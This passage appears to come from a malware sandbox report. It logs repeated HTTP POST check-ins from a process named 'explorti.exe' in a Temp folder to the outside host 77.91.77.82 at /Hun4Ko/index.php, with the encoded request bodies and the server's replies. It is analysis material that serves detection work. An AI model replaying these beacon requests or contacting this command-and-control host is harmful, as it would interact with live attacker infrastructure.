Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:25.028573990 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:25.753572941 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49803	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:25.875762939 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49804	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:25.893448114 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:26.614996910 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49805	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:26.744122028 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:27.463308096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49806	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:27.474348068 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:28.169471025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49807	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:28.284380913 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:29.007307053 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49808	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:29.018105030 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:29.764283895 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49809	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:29.877979040 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:30.578079939 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49810	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:30.587325096 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:31.310937881 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49811	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:31.424190044 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:32.117310047 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49812	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:32.127847910 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49813	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:32.253896952 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:32.950643063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49814	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:32.961683989 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:33.688319921 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49815	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:33.814810991 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:34.527631998 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49816	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:34.538290977 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:35.263413906 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49817	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:35.392777920 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:36.124289989 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49818	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:36.132334948 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:36.833728075 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49819	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:36.952666044 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:37.665821075 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49820	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:37.677912951 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:38.381954908 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49821	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:38.500456095 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:39.198282957 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49822	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:39.208456993 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:39.924390078 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49823	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:40.048456907 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:40.757754087 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:40.761531115 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:40.991748095 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49824	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:41.112504005 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:41.827753067 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49825	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
